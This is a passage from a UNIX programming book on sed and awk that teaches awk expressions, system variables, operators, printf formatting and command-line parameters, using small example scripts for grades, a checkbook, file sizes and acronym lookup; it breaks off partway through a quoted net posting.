/ | Division
% | Modulo
^ | Exponentiation
** | Exponentiation[5]

[5] This is a common extension. It is not in the POSIX standard, and often not in the system documentation, either. Its use is thus nonportable.

Once a variable has been assigned a value, that value can be referenced using the name of the variable. The following expression adds 1 to the value of x and assigns it to the variable y:

y = x + 1

So, evaluate x, add 1 to it, and put the result into the variable y. The statement:

print y

prints the value of y. If the following sequence of statements appears in a script:

x = 1
y = x + 1
print y

then the value of y is 2.

We could reduce these three statements to two:

x = 1
print x + 1

Notice, however, that after the print statement the value of x is still 1. We didn't change the value of x; we simply added 1 to it and printed that value. In other words, if a third statement print x followed, it would output 1. If, in fact, we wished to accumulate the value in x, we could use an assignment operator +=. This operator combines two operations; it adds 1 to x and assigns the new value to x. Table 7.3 lists the assignment operators used in awk expressions.

Table 7.3: Assignment Operators
Operator | Description
++ | Add 1 to variable.
-- | Subtract 1 from variable.
+= | Assign result of addition.
-= | Assign result of subtraction.
*= | Assign result of multiplication.
/= | Assign result of division.
%= | Assign result of modulo.
^= | Assign result of exponentiation.
**= | Assign result of exponentiation.[6]

[6] As with "**", this is a common extension, which is also nonportable.

Look at the following example, which counts each blank line in a file.

# Count blank lines.
/^$/ {
    print x += 1
     }

Although we didn't initialize the value of x, we can safely assume that its value is 0 up until the first blank line is encountered. The expression "x += 1" is evaluated each time a blank line is matched and the value of x is incremented by 1. The print statement prints the value returned by the expression. Because we execute the print statement for every blank line, we get a running count of blank lines.

There are different ways to write expressions, some more terse than others. The expression "x += 1" is more concise than the following equivalent expression:

x = x + 1

But neither of these expressions is as terse as the following expression:

++x

"++" is the increment operator. ("--" is the decrement operator.) Each time the expression is evaluated the value of the variable is incremented by one. The increment and decrement operators can appear on either side of the operand, as prefix or postfix operators. The position has a different effect.

++x	Increment x before returning value (prefix)
x++	Increment x after returning value (postfix)

For instance, if our example was written:

/^$/ {
    print x++
     }

When the first blank line is matched, the expression returns the value "0"; the second blank line returns "1", and so on. If we put the increment operator before x, then the first time the expression is evaluated, it will return "1."

Let's implement that expression in our example. In addition, instead of printing a count each time a blank line is matched, we'll accumulate the count as the value of x and print only the total number of blank lines. The END pattern is the place to put the print that displays the value of x after the last input line is read.

# Count blank lines.
/^$/ {
    ++x
}
END {
    print x
}

Let's try it on the sample file that has three blank lines in it.

$ awk -f awkscr test
3

The script outputs the number of blank lines.

7.6.1 Averaging Student Grades

Let's look at another example, one in which we sum a series of student grades and then calculate the average. Here's what the input file looks like:

john 85 92 78 94 88
andrea 89 90 75 90 86
jasper 84 88 80 92 84

There are five grades following the student's name. Here is the script that will give us each student's average:

# average five grades
{ total = $2 + $3 + $4 + $5 + $6
  avg = total / 5
  print $1, avg }

This script adds together fields 2 through 6 to get the sum total of the five grades. The value of total is divided by 5 and assigned to the variable avg. ("/" is the operator for division.) The print statement outputs the student's name and average. Note that we could have skipped the assignment of avg and instead calculated the average as part of the print statement, as follows:

print $1, total / 5

This script shows how easy it is to write programs in awk. Awk parses the input into fields and records. You are spared having to read individual characters and declaring data types. Awk does this for you, automatically.

Let's see a sample run of the script that calculates student averages:

$ awk -f grades.awk grades
john 87.4
andrea 86
jasper 85.6

Previous: 7.5 Records and Fields | sed & awk | Next: 7.7 System Variables
7.5 Records and Fields | Book Index | 7.7 System Variables
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 7] 7.7 System Variables

sed & awk

sed & awkSearch this book
Previous: 7.6 Expressions Chapter 7
Writing Scripts for awk 		Next: 7.8 Relational and Boolean Operators

7.7 System Variables

There are a number of system or built-in variables defined by awk. Awk has two types of system variables. The first type defines values whose default can be changed, such as the default field and record separators. The second type defines values that can be used in reports or processing, such as the number of fields found in the current record, the count of the current record, and others. These are automatically updated by awk; for example, the current record number and input file name.

There are a set of default values that affect the recognition of records and fields on input and their display on output. The system variable FS defines the field separator. By default, its value is a single space, which tells awk that any number of spaces and/or tabs separate fields. FS can also be set to any single character, or to a regular expression. Earlier, we changed the field separator to a comma in order to read a list of names and addresses.

The output equivalent of FS is OFS, which is a space by default. We'll see an example of redefining OFS shortly.

Awk defines the variable NF to be the number of fields for the current input record. Changing the value of NF actually has side effects. The interactions that occur when $0, the fields, and NF are changed is a murky area, particularly when NF is decreased.[7] Increasing it creates new (empty) fields, and rebuilds $0, with the fields separated by the value of OFS. In the case where NF is decreased, gawk and mawk rebuild the record, and the fields that were above the new value of NF are set equal to the empty string. The Bell Labs awk does not change $0.

[7] Unfortunately, the POSIX standard isn't as helpful here as it should be.

Awk also defines RS, the record separator, as a newline. RS is a bit unusual; it's the only variable where awk only pays attention to the first character of the value.

The output equivalent to RS is ORS, which is also a newline by default. In the next section, "Working with Multiline Records," we'll show how to change the default record separator. Awk sets the variable NR to the number of the current input record. It can be used to number records in a list. The variable FILENAME contains the name of the current input file. The variable FNR is useful when multiple input files are used as it provides the number of the current record relative to the current input file.

Typically, the field and record separators are defined in the BEGIN procedure because you want these values set before the first input line is read. However, you can redefine these values anywhere in the script. In POSIX awk, assigning a new value to FS has no effect on the current input line; it only affects the next input line.

NOTE: Prior to the June 1996 release of Bell Labs awk, versions of awk for UNIX did not follow the POSIX standard in this regard. In those versions, if you have not yet referenced an individual field, and you set the field separator to a different value, the current input line is split into fields using the new value of FS. Thus, you should test how your awk behaves, and if at all possible, upgrade to a correct version of awk.

Finally, POSIX added a new variable, CONVFMT, which is used to control number-to-string conversions. For example,

str = (5.5 + 3.2) " is a nice value"

Here, the result of the numeric expression 5.5 + 3.2 (which is 8.7) must be converted to a string before it can be used in the string concatenation. CONVFMT controls this conversion. Its default value is "%.6g", which is a printf-style format specification for floating-point numbers. Changing CONVFMT to "%d", for instance, would cause all numbers to be converted to strings as integers. Prior to the POSIX standard, awk used OFMT for this purpose. OFMT does the same job, but controlling the conversion of numeric values when using the print statement. The POSIX committee wanted to separate the tasks of output conversion from simple string conversion. Note that numbers that are integers are always converted to strings as integers, no matter what the values of CONVFMT and OFMT may be.

Now let's look at some examples, beginning with the NR variable. Here's a revised print statement for the script that calculates student averages:

print NR ".", $1, avg

Running the revised script produces the following output:

1. john 87.4
2. andrea 86
3. jasper 85.6

After the last line of input is read, NR contains the number of input records that were read. It can be used in the END action to provide a report summary. Here's a revised version of the phonelist.awk script.

# phonelist.awk -- print name and phone number.
# input file -- name, company, street, city, state and zip, phone
BEGIN { FS = ", *" }  # comma-delimited fields
{ print $1 ", " $6 }
END { 	print ""
    print NR, "records processed." }

This program changes the default field separator and uses NR to print the total number of records printed. Note that this program uses a regular expression for the value of FS. This program produces the following output:

John Robinson, 696-0987
Phyllis Chapman, 879-0900

2 records processed.

The output field separator (OFS) is generated when a comma is used to separate the arguments in a print statement. You may have wondered what effect the comma has in the following expression:

print NR ".", $1, avg

By default, the comma causes a space (the default value of OFS) to be output. For instance, you could redefine OFS to be a tab in a BEGIN action. Then the preceding print statement would produce the following output:

1.      john    87.4
2.      andrea  86
3.      jasper  85.6

This is especially useful if the input consists of tab-separated fields and you want to generate the same kind of output. OFS can be redefined to be a sequence of characters, such as a comma followed by a space.

Another commonly used system variable is NF, which is set to the number of fields for the current record. As we'll see in the next section, you can use NF to check that a record has the same number of fields that you expect. You can also use NF to reference the last field of each record. Using the "$" field operator and NF produces that reference. If there are six fields, then "$NF" is the same as "$6." Given a list of names, such as the following:

John Kennedy
Lyndon B. Johnson
Richard Milhouse Nixon
Gerald R. Ford
Jimmy Carter
Ronald Reagan
George Bush
Bill Clinton

you will note that the last name is not the same field number for each record. You could print the last name of each President using "$NF."[8]

[8] This scheme breaks down for Martin Van Buren; fortunately, our list contains only recent U.S. presidents.

These are the basic system variables, the ones most commonly used. There are more of them, as listed in Appendix B, and we'll introduce new system variables as needed in the chapters that follow.

7.7.1 Working with Multiline Records

All of our examples have used input files whose records consisted of a single line. In this section, we show how to read a record where each field consists of a single line.

Earlier, we looked at an example of processing a file of names and addresses. Let's suppose that the same data is stored on file in block format. Instead of having all the information on one line, the person's name is on one line, followed by the company's name on the next line and so on. Here's a sample record:

John Robinson
Koren Inc.
978 Commonwealth Ave.
Boston
MA 01760
696-0987

This record has six fields. A blank line separates each record.

To process this data, we can specify a multiline record by defining the field separator to be a newline, represented as "\n", and set the record separator to the empty string, which stands for a blank line.

BEGIN { FS = "\n"; RS = "" }

We can print the first and last fields using the following script:

# block.awk - print first and last fields
# $1 = name; $NF = phone number

BEGIN { FS = "\n"; RS = "" }

{ print $1, $NF }

Here's a sample run:

$ awk -f block.awk phones.block
John Robinson 696-0987
Phyllis Chapman 879-0900
Jeffrey Willis 914-636-0000
Alice Gold (707) 724-0000
Bill Gold 1-707-724-0000

The two fields are printed on the same line because the default output separator (OFS) remains a single space. If you want the fields to be output on separate lines, change OFS to a newline. While you're at it, you probably want to preserve the blank line between records, so you must specify the output record separator ORS to be two newlines.

OFS = "\n"; ORS = "\n\n"

7.7.2 Balance the Checkbook

This is a simple application that processes items in your check register. While not necessarily the easiest way to balance the checkbook, it is amazing how quickly you can build something useful with awk.

This program presumes you have entered in a file the following information:

1000
125	Market          125.45
126	Hardware Store   34.95
127	Video Store       7.45
128	Book Store       14.32
129	Gasoline         16.10

The first line contains the beginning balance. Each of the other lines represent information from a single check: the check number, a description of where it was spent, and the amount of the check. The three fields are separated by tabs.

The core task of the script is that it must get the beginning balance and then deduct the amount of each check from that balance. We can provide detail lines for each check to compare against the check register. Finally, we can print the ending balance. Here it is:

# checkbook.awk
BEGIN { FS = "\t" }

#1 Expect the first record to have the starting balance.
NR == 1 { print "Beginning Balance: \t" $1
    balance = $1
    next		# get next record and start over
}

#2 Apply to each check record, subtracting amount from balance.
{	print $1, $2, $3
    print balance -= $3
}

Let's run this program and look at the results:

$ awk -f checkbook.awk checkbook.test
Beginning Balance:      1000
125 Market 125.45
874.55
126 Hardware Store 34.95
839.6
127 Video Store 7.45
832.15
128 Book Store 14.32
817.83
129 Gasoline 16.10
801.73

The report is difficult to read, but later we will learn to fix the format using the printf statement. What's important is to confirm that the script is doing what we want. Notice, also, that getting this far takes only a few minutes in awk. In a programming language such as C, it would take you much longer to write this program; for one thing, you might have many more lines of code; and you'd be programming at a much lower level. There are any number of refinements that you'd want to make to this program to improve it, and refining a program takes much longer. The point is that with awk you are able to isolate and implement the basic functionality quite easily.

Previous: 7.6 Expressions | sed & awk | Next: 7.8 Relational and Boolean Operators
7.6 Expressions | Book Index | 7.8 Relational and Boolean Operators
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 7] 7.8 Relational and Boolean Operators

sed & awk

sed & awkSearch this book
Previous: 7.7 System Variables Chapter 7
Writing Scripts for awk 		Next: 7.9 Formatted Printing

7.8 Relational and Boolean Operators

Relational and Boolean operators allow you to make comparisons between two expressions. The relational operators are found in Table 7.4.

Table 7.4: Relational Operators
Operator | Description
< | Less than
> | Greater than
<= | Less than or equal to
>= | Greater than or equal to
== | Equal to
!= | Not equal to
~ | Matches
!~ | Does not match

A relational expression can be used in place of a pattern to control a particular action. For instance, if we wanted to limit the records selected for processing to those that have five fields, we could use the following expression:

NF == 5

This relational expression compares the value of NF (the number of fields for each input record) to five. If it is true, the action will be executed; otherwise, it will not.

NOTE: Make sure you notice that the relational operator "==" ("is equal to") is not the same as the assignment operator "=" ("equals"). It is a common error to use "=" instead of "==" to test for equality.

We can use a relational expression to validate the phonelist database before attempting to print out the record.

NF == 6 { print $1, $6 }

Then only lines with six fields will be printed.

The opposite of "==" is "!=" ("is not equal to"). Similarly, you can compare one expression to another to see if it is greater than (>) or less than (<) or greater than or equal to (>=) or less than or equal to (<=). The expression

NR > 1

tests whether the number of the current record is greater than 1. As we'll see in the next chapter, relational expressions are typically used in conditional (if) statements and are evaluated to determine whether or not a particular statement should be executed.

Regular expressions are usually written enclosed in slashes. These can be thought of as regular expression constants, much as "hello" is a string constant. We've seen many examples so far:

/^$/ { print "This is a blank line." }

However, you are not limited to regular expression constants. When used with the relational operators ~ ("match") and !~ ("no match"), the right-hand side of the expression can be any awk expression; awk treats it as a string that specifies a regular expression.[9] We've already seen an example of the ~ operator used in a pattern-matching rule for the phone database:

[9] You may also use strings instead of regular expression constants when calling the match(), split(), sub(), and gsub() functions.

$5 ~ /MA/   { print $1 ", " $6 }

where the value of field 5 is compared against the regular expression "MA."

Since any expression can be used with ~ and !~, regular expressions can be supplied through variables. For instance, in the phonelist script, we could replace "/MA/" with state and have a procedure that defines the value of state.

$5 ~ state  { print $1 ", " $6 }

This makes the script much more general to use because a pattern can change dynamically during execution of the script. For instance, it allows us to get the value of state from a command-line parameter. We will talk about passing command-line parameters into a script later in this chapter.

Boolean operators allow you to combine a series of comparisons. They are listed in Table 7.5.

Table 7.5: Boolean Operators
Operator | Description
|| | Logical OR
&& | Logical AND
! | Logical NOT

Given two or more expressions, || specifies that one of them must evaluate to true (non-zero or non-empty) for the whole expression to be true. && specifies that both of the expressions must be true to return true.

The following expression:

NF == 6 && NR > 1

states that the number of fields must be equal to 6 and that the number of the record must be greater than 1.

&& has higher precedence than ||. Can you tell how the following expression will be evaluated?

NR > 1 && NF >= 2 || $1 ~ /\t/

The parentheses in the next example show which expression would be evaluated first based on the rules of precedence.

(NR > 1 && NF >= 2) || $1 ~ /\t/

In other words, both of the expressions in parentheses must be true or the right hand side must be true. You can use parentheses to override the rules of precedence, as in the following example which specifies that two conditions must be true.

NR > 1 && (NF >= 2 || $1 ~ /\t/)

The first condition must be true and either of two other conditions must be true.

Given an expression that is either true or false, the ! operator inverts the sense of the expression.

! (NR > 1 && NF > 3)

This expression is true if the parenthesized expression is false. This operator is most useful with awk's in operator to see if an index is not in an array (as we shall see later), although it has other uses as well.

7.8.1 Getting Information About Files

Now we are going to look at a couple of scripts that process the output of a UNIX command, ls. The following is a sample of the long listing produced by the command ls -l:[10]

[10] Note that on a Berkeley 4.3BSD-derived UNIX system such as Ultrix or SunOS 4.1.x, ls -l produces an eight-column report; use ls -lg to get the same report format shown here.

$ ls -l
-rw-rw-rw-   1 dale     project   6041 Jan  1 12:31 com.tmp
-rwxrwxrwx   1 dale     project   1778 Jan  1 11:55 combine.idx
-rw-rw-rw-   1 dale     project   1446 Feb 15 22:32 dang
-rwxrwxrwx   1 dale     project   1202 Jan  2 23:06 format.idx

This listing is a report in which data is presented in rows and columns. Each file is presented across a single row. The file listing consists of nine columns. The file's permissions appear in the first column, the size of the file in bytes in the fifth column, and the filename is found in the last column. Because one or more spaces separate the data in columns, we can treat each column as a field.

In our first example, we're going to pipe the output of this command to an awk script that prints selected fields from the file listing. To do this, we'll create a shell script so that we can make the pipe transparent to the user. Thus, the structure of the shell script is:

ls -l $* | awk 'script'

The $* variable is used by the shell and expands to all arguments passed from the command line. (We could use $1 here, which would pass the first argument, but passing all the arguments provides greater flexibility.) These arguments can be the names of files or directories or additional options to the ls command. If no arguments are specified, the "$*" will be empty and the current directory will be listed. Thus, the output of the ls command will be directed to awk, which will automatically read standard input, since no filenames have been given.

We'd like our awk script to print the size and name of the file. That is, print field 5 ($5) and field 9 ($9).

ls -l $* | awk '{
    print $5, "\t", $9
}'

If we put the above lines in a file named fls and make that file executable, we can enter fls as a command.

$ fls
6041     com.tmp
1778     combine.idx
1446     dang
1202     format.idx
$ fls com*
6041     com.tmp
1778     combine.idx

So what our program does is take the long listing and reduce it to two fields. Now, let's add new functionality to our report by producing some information that the ls -l listing does not provide. We add each file's size to a running total, to produce the total number of bytes used by all files in the listing. We can also keep track of the number of files and produce that total. There are two parts to adding this functionality. The first is to accumulate the totals for each input line. We create the variable sum to accumulate the size of files and the variable filenum to accumulate the number of files in the listing.

{
    sum += $5
    ++filenum
    print $5, "\t", $9
}

The first expression uses the assignment operator +=. It adds the value of field 5 to the present value of the variable sum. The second expression increments the present value of the variable filenum. This variable is used as a counter, and each time the expression is evaluated, 1 is added to the count.

The action we've written will be applied to all input lines. The totals that are accumulated in this action must be printed after awk has read all the input lines. Therefore, we write an action that is controlled by the END rule.

END { print "Total: ", sum, "bytes (" filenum " files)" }

We can also use the BEGIN rule to add column headings to the report.

BEGIN { print "BYTES", "\t", "FILE" }

Now we can put this script in an executable file named filesum and execute it as a single-word command.

$ filesum c*
BYTES    FILE
882      ch01
1771     ch03
1987     ch04
6041     com.tmp
1778     combine.idx
Total:  12459 bytes (5 files)

What's nice about this command is that it allows you to determine the size of all files in a directory or any group of files.

While the basic mechanism works, there are a few problems to be taken care of. The first problem occurs when you list the entire directory using the ls -l command. The listing contains a line that specifies the total number of blocks in the directory. The partial listing (all files beginning with "c") in the previous example does not have this line. But the following line would be included in the output if the full directory was listed:

total 555

The block total does not interest us because the program displays the total file size in bytes. Currently, filesum does not print this line; however, it does read this line and cause the filenum counter to be incremented.

There is also a problem with this script in how it handles subdirectories. Look at the following line from an ls -l:

drwxrwxrwx   3 dale     project         960 Feb  1 15:47 sed

A "d" as the first character in column 1 (file permissions) indicates that the file is a subdirectory. The size of this file (960 bytes) does not indicate the size of files in that subdirectory and therefore, it is slightly misleading to add it to the file size totals. Also, it might be helpful to indicate that it is a directory.

If you want to list the files in subdirectories, supply the -R (recursive) option on the command line. It will be passed to the ls command. However, the listing is slightly different as it identifies each directory. For instance, to identify the subdirectory old, the ls -lR listing produces a blank line followed by:

./old:

Our script ignores that line and a blank line preceding it but nonetheless they increment the file counter. Fortunately, we can devise rules to handle these cases. Let's look at the revised, commented script:

ls -l $* | awk '
# filesum: list files and total size in bytes
# input: long listing produced by "ls -l"

#1 output column headers
BEGIN { print "BYTES", "\t", "FILE" }

#2 test for 9 fields; files begin with "-"
NF == 9 && /^-/ {
        sum += $5       # accumulate size of file
        ++filenum       # count number of files
        print $5, "\t", $9       # print size and filename
}

#3 test for 9 fields; directory begins with "d"
NF == 9 && /^d/ {
        print "<dir>", "\t", $9  # print <dir> and name
}

#4 test for ls -lR line ./dir:
$1 ~ /^\..*:$/ {
        print "\t" $0 # print that line preceded by tab
}

#5 once all is done,
END {
    # print total file size and number of files
    print "Total: ", sum, "bytes (" filenum " files)"
}'

The rules and their associated actions have been numbered to make it easier to discuss them. The listing produced by ls -l contains nine fields for a file. Awk supplies the number of fields for a record in the system variable NF. Therefore, rules 2 and 3 test that NF is equal to 9. This helps us avoid matching odd blank lines or the line stating the block total. Because we want to handle directories and files differently, we use another pattern to match the first character of the line. In rule 2 we test for "-" in the first position on the line, which indicates a file. The associated action increments the file counter and adds the file size to the previous total. In rule 3, we test for a directory, indicated by "d" as the first character. The associated action prints "<dir>" in place of the file size. Rules 2 and 3 are compound expressions, specifying two patterns that are combined using the && operator. Both patterns must be matched for the expression to be true.

Rule 4 tests for the special case produced by the ls -lR listing ("./old:"). There are a number of patterns that we can write to match that line, using regular expressions or relational expressions:

NF == 1			If the number of fields equals 1 ...
/^\..*:$/		If the line begins with a period followed by any number of
                                                   characters and ends in a colon...
$1 ~ /^\..*:$/		If field 1 matches the regular expression...

We used the latter expression because it seems to be the most specific. It employs the match operator (~) to test the first field against a regular expression. The associated action consists of only a print statement.

Rule 5 is the END pattern and its action is only executed once, printing the sum of file sizes as well as the number of files.

The filesum program demonstrates many of the basic constructs used in awk. What's more, it gives you a pretty good idea of the process of developing a program (although syntax errors produced by typos and hasty thinking have been gracefully omitted). If you wish to tinker with this program, you might add a counter for a directories, or a rule that handles symbolic links.

Previous: 7.7 System Variables | sed & awk | Next: 7.9 Formatted Printing
7.7 System Variables | Book Index | 7.9 Formatted Printing
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 7] 7.9 Formatted Printing

sed & awk

sed & awkSearch this book
Previous: 7.8 Relational and Boolean Operators Chapter 7
Writing Scripts for awk 		Next: 7.10 Passing Parameters Into a Script

7.9 Formatted Printing

Many of the scripts that we've written so far perform the data processing tasks just fine, but the output has not been formatted properly. That is because there is only so much you can do with the basic print statement. And since one of awk's most common functions is to produce reports, it is crucial that we be able to format our reports in an orderly fashion. The filesum program performs the arithmetic tasks well but the report lacks an orderly format.

Awk offers an alternative to the print statement, printf, which is borrowed from the C programming language. The printf statement can output a simple string just like the print statement.

awk 'BEGIN { printf ("Hello, world\n") }'

The main difference that you will notice at the outset is that, unlike print, printf does not automatically supply a newline. You must specify it explicitly as "\n".

The full syntax of the printf statement has two parts:

printf ( format-expression [, arguments] )

The parentheses are optional. The first part is an expression that describes the format specifications; usually this is supplied as a string constant in quotes. The second part is an argument list, such as a list of variable names, that correspond to the format specifications. A format specification is preceded by a percent sign (%) and the specifier is one of the characters shown in Table 7.6. The two main format specifiers are s for strings and d for decimal integers.[11]

[11] The way printf does rounding is discussed in Appendix B.

Table 7.6: Format Specifiers Used in printf
Character | Description
c | ASCII character
d | Decimal integer
i | Decimal integer. (Added in POSIX)
e | Floating-point format ([-]d.precision e[+-]dd)
E | Floating-point format ([-]d.precision E[+-]dd)
f | Floating-point format ([-]ddd.precision)
g | e or f conversion, whichever is shortest, with trailing zeros removed
G | E or f conversion, whichever is shortest, with trailing zeros removed
o | Unsigned octal value
s | String
x | Unsigned hexadecimal number. Uses a-f for 10 to 15
X | Unsigned hexadecimal number. Uses A-F for 10 to 15
% | Literal %

This example uses the printf statement to produce the output for rule 2 in the filesum program. It outputs a string and a decimal value found in two different fields:

printf("%d\t%s\n", $5, $9)

The value of $5 is to be output, followed by a tab (\t) and $9 and then a newline (\n).[12] For each format specification, you must supply a corresponding argument.

[12] Compare this statement with the print statement in the filesum program that prints the header line. The print statement automatically supplies a newline (the value of ORS); when using printf, you must supply the newline, it is never automatically provided for you.

This printf statement can be used to specify the width and alignment of output fields. A format expression can take three optional modifiers following "%" and preceding the format specifier:

%-width.precision format-specifier

The width of the output field is a numeric value. When you specify a field width, the contents of the field will be right-justified by default. You must specify "-" to get left-justification. Thus, "%-20s" outputs a string left-justified in a field 20 characters wide. If the string is less than 20 characters, the field will be padded with whitespace to fill. In the following examples, a "|" is output to indicate the actual width of the field. The first example right-justifies the text:

printf("|%10s|\n", "hello")

It produces:

|     hello|

The next example left-justifies the text:

printf("|%-10s|\n", "hello")

It produces:

|hello     |

The precision modifier, used for decimal or floating-point values, controls the number of digits that appear to the right of the decimal point. For string values, it controls the maximum number of characters from the string that will be printed. Note that the default precision for the output of numeric values is "%.6g".

You can specify both the width and precision dynamically, via values in the printf or sprintf argument list. You do this by specifying asterisks, instead of literal values.

printf("%*.*g\n", 5, 3, myvar);

In this example, the width is 5, the precision is 3, and the value to print will come from myvar.

The default precision used by the print statement when outputting numbers can be changed by setting the system variable OFMT. For instance, if you are using awk to write reports that contain dollar values, you might prefer to change OFMT to "%.2f".

Using the full syntax of the format expression can solve the problem with filesum of getting fields and headings properly aligned. One reason we output the file size before the filename was that the fields had a greater chance of aligning themselves if they were output in that order. The solution that printf offers us is the ability to fix the width of output fields; therefore, each field begins in the same column.

Let's rearrange the output fields in the filesum report. We want a minimum field width so that the second field begins at the same position. You specify the field width place between the % and the conversion specification. "%-15s" specifies a minimum field width of 15 characters in which the value is left-justified. "%10d", without the hyphen, is right-justified, which is what we want for a decimal value.

printf("%-15s\t%10d\n", $9, $5)       # print filename and size

This will produce a report in which the data is aligned in columns and the numbers are right-justified. Look at how the printf statement is used in the END action:

printf("Total: %d bytes  (%d files)\n", sum, filenum)

The column header in the BEGIN rule is also changed appropriately. With the use of the printf statement, filesum now produces the following output:

$ filesum g*
FILE                 BYTES
g                       23
gawk                  2237
gawk.mail             1171
gawk.test               74
gawkro                 264
gfilesum               610
grades                  64
grades.awk             231
grepscript               6
Total: 4680 bytes  (9 files)

Previous: 7.8 Relational and Boolean Operators | sed & awk | Next: 7.10 Passing Parameters Into a Script
7.8 Relational and Boolean Operators | Book Index | 7.10 Passing Parameters Into a Script
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 7] 7.10 Passing Parameters Into a Script

sed & awk

sed & awkSearch this book
Previous: 7.9 Formatted Printing Chapter 7
Writing Scripts for awk 		Next: 7.11 Information Retrieval

7.10 Passing Parameters Into a Script

One of the more confusing subtleties of programming in awk is passing parameters into a script. A parameter assigns a value to a variable that can be accessed within the awk script. The variable can be set on the command line, after the script and before the filename.

awk 'script' var=value inputfile

Each parameter must be interpreted as a single argument. Therefore, spaces are not permitted on either side of the equal sign. Multiple parameters can be passed this way. For instance, if you wanted to define the variables high and low from the command line, you could invoke awk as follows:

$ awk -f scriptfile high=100 low=60 datafile

Inside the script, these two variables are available and can be accessed as any awk variable. If you were to put this script in a shell script wrapper, then you could pass the shell's command-line arguments as values. (The shell makes available command-line arguments in the positional variables - $1 for the first parameter, $2 for the second, and so on.)[13] For instance, look at the shell script version of the previous command:

[13] Careful! Don't confuse the shell's parameters with awk's field variables.

awk -f scriptfile "high=$1" "low=$2" datafile

If this shell script were named awket, it could be invoked as:

$ awket 100 60

"100" would be $1 and passed as the value assigned to the variable high.

In addition, environment variables or the output of a command can be passed as the value of a variable. Here are two examples:

awk '{ ... }' directory=$cwd file1 ...
awk '{ ... }' directory=`pwd` file1 ...

"$cwd" returns the value of the variable cwd, the current working directory (csh only). The second example uses backquotes to execute the pwd command and assign its result to the variable directory (this is more portable).

You can also use command-line parameters to define system variables, as in the following example:

$ awk '{ print NR, $0 }' OFS='. ' names
1. Tom 656-5789
2. Dale 653-2133
3. Mary 543-1122
4. Joe 543-2211

The output field separator is redefined to be a period followed by a space.

An important restriction on command-line parameters is that they are not available in the BEGIN procedure. That is, they are not available until after the first line of input is read. Why? Well, here's the confusing part. A parameter passed from the command line is treated as though it were a filename. The assignment does not occur until the parameter, if it were a filename, is actually evaluated.

Look at the following script that sets a variable n as a command-line parameter.

awk  'BEGIN { print n }
{
if (n == 1) print "Reading the first file"
if (n == 2) print "Reading the second file"
}' n=1 test n=2 test2

There are four command-line parameters: "n=1," "test," "n=2," and "test2". Now, if you remember that a BEGIN procedure is "what we do before processing input," you'll understand why the reference to n in the BEGIN procedure returns nothing. So the print statement will print a blank line. If the first parameter were a file and not a variable assignment, the file would not be opened until the BEGIN procedure had been executed.

The variable n is given an initial value of 1 from the first parameter. The second parameter supplies the name of the file. Thus, for each line in test, the conditional "n == 1" will be true. After the input is exhausted from test, the third parameter is evaluated, and it sets n to 2. Finally, the fourth parameter supplies the name of a second file. Now the conditional "n == 2" in the main procedure will be true.

One consequence of the way parameters are evaluated is that you cannot use the BEGIN procedure to test or verify parameters that are supplied on the command line. They are available only after a line of input has been read. You can get around this limitation by composing the rule "NR == 1" and using its procedure to verify the assignment. Another way is to test the command-line parameters in the shell script before invoking awk.

POSIX awk provides a solution to the problem of defining parameters before any input is read. The -v option[14] specifies variable assignments that you want to take place before executing the BEGIN procedure (i.e., before the first line of input is read.) The -v option must be specified before a command-line script. For instance, the following command uses the -v option to set the record separator for multiline records.

[14] The -v option was not part of the original (1987) version of nawk (still used on SunOS 4.1.x systems and some System V Release 3.x systems). It was added in 1989 after Brian Kernighan of Bell Labs, the GNU awk authors, and the authors of MKS awk agreed on a way to set variables on the command line that would be available inside the BEGIN block. It is now part of the POSIX specification for awk.

$ awk -F"\n" -v RS="" '{ print }' phones.block

A separate -v option is required for each variable assignment that is passed to the program.

Awk also provides the system variables ARGC and ARGV, which will be familiar to C programmers. Because this requires an understanding of arrays, we will discuss this feature in Chapter 8, Conditionals, Loops, and Arrays.

Previous: 7.9 Formatted Printing | sed & awk | Next: 7.11 Information Retrieval
7.9 Formatted Printing | Book Index | 7.11 Information Retrieval
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 7] 7.11 Information Retrieval

sed & awk

sed & awkSearch this book
Previous: 7.10 Passing Parameters Into a Script Chapter 7
Writing Scripts for awk 		Next: 8. Conditionals, Loops, and Arrays

7.11 Information Retrieval

An awk program can be used to retrieve information from a database, the database basically being any kind of text file. The more structured the text file, the easier it is to work with, although the structure might be no more than a line consisting of individual words.

The list of acronyms below is a simple database.

$ cat acronyms
BASIC	Beginner's All-Purpose Symbolic Instruction Code
CICS	Customer Information Control System
COBOL	Common Business Oriented Language
DBMS	Data Base Management System
GIGO	Garbage In, Garbage Out
GIRL 	Generalized Information Retrieval Language

A tab is used as the field separator. We're going to look at a program that takes an acronym as input and displays the appropriate line from the database as output. (In the next chapter, we're going to look at two other programs that use the acronym database. One program reads the list of acronyms and then finds occurrences of these acronyms in another file. The other program locates the first occurrence of these acronyms in a text file and inserts the description of the acronym.)

The shell script that we develop is named acro. It takes the first argument from the command line (the name of the acronym) and passes it to the awk script. The acro script follows:

$ cat acro
#! /bin/sh
# assign shell's $1 to awk search variable
awk '$1 == search' search=$1 acronyms

The first argument specified on the shell command line ($1) is assigned to the variable named search; this variable is passed as a parameter into the awk program. Parameters passed to an awk program are specified after the script section. (This gets somewhat confusing, because $1 inside the awk program represents the first field of each input line, while $1 in the shell represents the first argument supplied on the command line.)

The example below demonstrates how this program can be used to find a particular acronym on our list.

$ acro CICS
CICS Customer Information Control System

Notice that we tested the parameter as a string ($1 == search). We could also have written this as a regular expression match ($1 ~ search).

7.11.1 Finding a Glitch

A net posting was once forwarded to one of us because it contained a problem that could be solved using awk. Here's the original posting by Emmett Hogan:

I have been trying to rewrite a sed/tr/fgrep script that we use quite
a bit here in Perl, but have thus far been unsuccessful...hence this
posting.  Having never written anything in perl, and not wishing to
